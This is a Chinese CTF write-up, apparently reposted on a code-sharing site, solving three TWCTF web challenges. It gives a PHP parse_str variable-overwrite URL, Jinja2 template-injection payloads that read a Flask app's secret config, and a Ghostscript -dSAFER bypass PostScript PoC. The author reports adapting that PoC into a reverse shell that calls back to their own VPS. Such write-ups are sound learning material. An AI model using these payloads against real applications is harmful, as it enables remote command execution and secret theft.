内容简介:之前忙着社团的一些事情,当初这场比赛也没有花很多时间打。这周末有空,决定把当初没有时间做的题目都做一下。外国的比赛质量明显比某PWN鼎杯好上许多。在此写一下做题记录首先这是 强等号,所以必须满足的条件是
之前忙着社团的一些事情,当初这场比赛也没有花很多时间打。这周末有空,决定把当初没有时间做的题目都做一下。
外国的比赛质量明显比某PWN鼎杯好上许多。在此写一下做题记录
SimpleAuth
<?php require_once 'flag.php'; if (!empty($_SERVER['QUERY_STRING'])) { $query = $_SERVER['QUERY_STRING']; $res = parse_str($query); if (!empty($res['action'])){ $action = $res['action']; } } if ($action === 'auth') { if (!empty($res['user'])) { $user = $res['user']; } if (!empty($res['pass'])) { $pass = $res['pass']; } if (!empty($user) && !empty($pass)) { $hashed_password = hash('md5', $user.$pass); } if (!empty($hashed_password) && $hashed_password === 'c019f6e5cd8aa0bbbcc6e994a54c757e') { echo $flag; } else { echo 'fail :('; } } else { highlight_file(__FILE__); }
首先这是 强等号,所以必须满足的条件是
$hashed_password === 'c019f6e5cd8aa0bbbcc6e994a54c757e'
但是很有意思的是,如果我没传递 user pass
参数的话,就不会更新 $hashed_password
parse_str() 变量覆盖
这里的漏洞来自于 parse_str()
在 PHP 手册中有明确写出,如果没有第二个参数的话会引起变量覆盖
可以写个东西来验证这个漏洞
<?php if (!empty($_SERVER['QUERY_STRING'])) { $query = $_SERVER['QUERY_STRING']; $res = parse_str($query); } var_dump($GLOBALS);
如你所见,当我们传入password的时候,实际上password这个变量已经存在了。
http://localhost/test.php?password=123&auth=123 'GLOBALS' => &array< 'query' => string 'password=123&auth=123' (length=21) 'res' => null 'password' => string '123' (length=3) 'auth' => string '123' (length=3)
所以最后的答案就是
http://simpleauth.chal.ctf.westerns.tokyo/?hashed_password=c019f6e5cd8aa0bbbcc6e994a54c757e&action=auth >> TWCTF{d0_n0t_use_parse_str_without_result_param}
shrine
感觉这道题出的超棒的
参考了 WP
https://ctftime.org/writeup/10895
进去直接给了源码
import flask import os app = flask.Flask(__name__) app.config['FLAG'] = os.environ.pop('FLAG') @app.route('/') def index(): return open(__file__).read() @app.route('/shrine/<path:shrine>') def shrine(shrine): def safe_jinja(s): s = s.replace('(', '').replace(')', '') blacklist = ['config', 'self'] return ''.join(['{{% set {}=None%}}'.format(c) for c in blacklist])+s return flask.render_template_string(safe_jinja(shrine)) if __name__ == '__main__': app.run(debug=True)
乍一看这不是 python 的闭包么?一开始和阿辉看了半天看不懂...感觉自己编程功底还是太差了。
其实这个函数的内容,简化下来是这样【伪代码】
@app.route('/shrine/<path:shrine>') def shrine(shrine): s = {% set config=None%}{% set self=None%} + path..replace('(', ' (').replace(')', ')') return flask.render_template_string(s)
过滤了 ()
并把 self 和 config 设置为了 none
不妨先尝试一下 最简单的 ssti注入;确实是可以成功的
http://shrine.chal.ctf.westerns.tokyo/shrine/%7B%7B'2'*5%7D%7D >> 22222
没有 WAF 的情况
config
传入 config
self
传入 {{self.__dict__}}
()
只要找一个有 os 的 subclasses ,可以参考我以前写的东西python 沙箱逃逸总结
().__class__.__bases__[0].__subclasses__()[59]()._module.__builtins__['__import__']("os").__dict__.environ['FLAG'] ().__class__.__bases__[0].__subclasses__()[59].__init__.func_globals.values()[13]['eval']('__import__("os").__dict__.environ['FLAG'] ## 作者给的; <type 'dict_keys'> 里本身就有 OS [].__class__.__base__.__subclasses__()[68].__init__.__globals__['os'].__dict__.environ['FLAG']
当config,self,( ) 都被过滤的时候,为了去获得讯息,必须去读一些全局变量。比如说 current_app
比如说这样
__globals__['current_app'].config['FLAG'] top.app.config['FLAG']
如何绕过waf ? url_for 调取 current_app
我看完wp之后感叹,居然还有这样的操作?
首先,介绍一个很牛逼的函数,叫做url_for,可以参考flask的官方文档 flask.url_for
在它引用的内容中,有着 current_app 的全局变量
如何绕过waf ? get_flashed_messages 调取 current_app
除此之外,还有函数包含了 current_app ,叫做 get_flashed_messages ,同样,可以参考官方文档 flask.get_flashed_messages
GET FLAG !!!
找到了current_app,一切问题就迎刃而解了
GET /shrine/{{url_for.__globals__['current_app'].config['FLAG']}} or GET /shrine/{{get_flashed_messages.__globals__['current_app'].config['FLAG']}} 》》 TWCTF{pray_f0r_sacred_jinja2}
emoji
这道题目涉及 ghostscript 漏洞;对此我一点都不知道。日后会将这个洞系统得复现一下。这个洞在 8.21被报道出来,360CERT就将这个洞的细节发表了出来,可以参考 ghostscript命令执行漏洞预警
关于 ghostscript 也可以参考:
https://www.jianshu.com/p/0892b5d37ed0
https://www.anquanke.com/post/id/157513
ghostscript命令执行漏洞
准确来说,是这样子的:
PIL在对 eps 图片格式进行处理的时候,如果环境内装有 GhostScript,则会调用 GhostScript 在dSAFER模式下处理图片,产生命令执行漏洞。
其实这个漏洞是非常危险的漏洞。导致所有引用ghostscript的上游应用收到影响。 常见应用如下:
imagemagick libmagick graphicsmagick gimp python-matplotlib texlive-core texmacs latex2html latex2rtf
当然也包括了 PIL
做题过程
访问 /source 得到源码
from flask import ( Flask, render_template, request, redirect, url_for, make_response, ) from PIL import Image import tempfile import os app = Flask(__name__) @app.route('/') def index(): return render_template('index.html') @app.route('/source') def source(): return open(__file__).read() @app.route('/conv', methods=['POST']) def conv(): f = request.files.get('image', None) if not f: return redirect(url_for('index')) ext = f.filename.split('.')[-1] fname = tempfile.mktemp("emoji") fname = "{}.{}".format(fname, ext) f.save(fname) img = Image.open(fname) w, h = img.size r = 128/max(w, h) newimg = img.resize((int(w*r), int(h*r))) newimg.save(fname) response = make_response() response.data = open(fname, "rb").read() response.headers['Content-Disposition'] = 'attachment; filename=emoji_{}'.format(f.filename) os.unlink(fname) return response if __name__ == '__main__': app.run(host="0.0.0.0", port=8080, debug=True)
我尝试上传了一个图片,结果是 500 的错误。
后来按照WP也不能复现,推测是服务器挂了。对此,我只能在本地模拟一下这个漏洞的过程。
对于这个漏洞,有很多套路了。具体可以看看这边
ghostscript: multiple critical vulnerabilities, including remote command execution本地复现
我在本地复现了这个漏洞,具体的POC如下
命名一个 shell.jpeg 文件,内容如下(实际上这是postscript)
%!PS userdict /setpagedevice undef save legal { null restore } stopped { pop } if { legal } stopped { pop } if restore mark /OutputFile (%pipe%id) currentdevice putdeviceprops
随后,给予文件7xx的权限。之后,我们执行convert指令
可以发现 shell 已经能够成功执行了。
我们可以给予更大的扩展攻击面。比如说反弹shell
我将 id 的部分改为 反弹shell一句话
随后,在我的VPS上接收shell。
如你所见,已经成功执行。
我这里用的是 imagemagick 实际上用PIL也是一样的。
如下所示
>>> img = Image.open('./circle.eps') >>> w, h = img.size >>> r = 128/max(w, h) >>> newimg = img.resize((int(w*r), int(h*r))) cat: /flag: 没有那个文件或目录 % Total % Received % Xferd Average Speed Time Time Time Current Dload Upload Total Spent Left Speed 0 0 0 0 0 0 0 0 --:--:-- 0:00:46 --:--:-- 0 curl: (52) Empty reply from server GPL Ghostscript 9.22: Unrecoverable error, exit code 1 Traceback (most recent call last): [root@iz2ze2zhd57z17nq0y8tttz ~]# socat TCP-LISTEN:5555 - POST / HTTP/1.1 Host: shaobaobaoer.cn:5555 User-Agent: curl/7.60.0 Accept: */* Content-Length: 0 Content-Type: application/x-www-form-urlencoded
当然,如果用PIL的话,是不能直接读上面的那个POC的。我也不知道为何,自己对于 postscript 也不是很了解。wp中是一个 eps 的文件。而上述POC中是一个 PS 格式的文件。
我将 WP 中的poc修改为了自己VPS的地址,它成功执行了。
以上就是本文的全部内容,希望本文的内容对大家的学习或者工作能带来一定的帮助,也希望大家多多支持 码农网
猜你喜欢:本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们。
How to Design Programs
Matthias Felleisen、Robert Bruce Findler、Matthew Flatt、Shriram Krishnamurthi / The MIT Press / 2001-2-12 / 71.00美元
This introduction to programming places computer science in the core of a liberal arts education. Unlike other introductory books, it focuses on the program design process. This approach fosters a var......一起来看看 《How to Design Programs》 这本书的介绍吧!